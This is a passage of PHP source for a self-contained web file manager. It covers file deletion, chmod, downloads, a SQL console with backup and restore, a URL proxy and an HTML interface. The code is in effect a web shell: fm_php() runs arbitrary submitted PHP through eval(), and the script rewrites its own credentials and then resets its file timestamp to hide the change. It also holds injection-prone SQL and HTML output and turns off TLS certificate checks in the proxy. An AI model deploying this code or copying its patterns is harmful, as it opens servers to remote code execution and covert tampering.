		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/xml");
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//§Ü§Ñ§Ü-§ä§à §ä§à§Ø§Ö §á§à§Õ§Þ§Ö§ß§ñ§ä§î §ß§Ñ§Õ§à
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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